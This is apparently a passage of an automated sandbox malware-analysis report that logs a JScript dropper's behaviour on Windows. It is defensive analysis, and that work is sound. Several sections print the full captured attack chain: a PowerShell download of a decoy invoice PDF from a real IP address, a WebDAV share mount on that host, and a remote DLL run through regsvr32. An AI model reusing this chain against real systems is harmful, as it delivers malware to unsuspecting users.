Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5748.js.csv");ITextStream.WriteLine(" entry:8351 f:mosabom");ITextStream.WriteLine(" exec:2 f:mosabom");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4943			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4894			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3756	Thread sleep count: 4943 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3756	Thread sleep count: 4894 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3508	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1424	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3660	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1408	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2179192768.00000143CDBDE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182641093.00000143CDBDE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2180263078.00000143CDBDE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3411997952.000002289062B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3413113617.0000022895C50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2182489273.00000143CDB78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0;

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
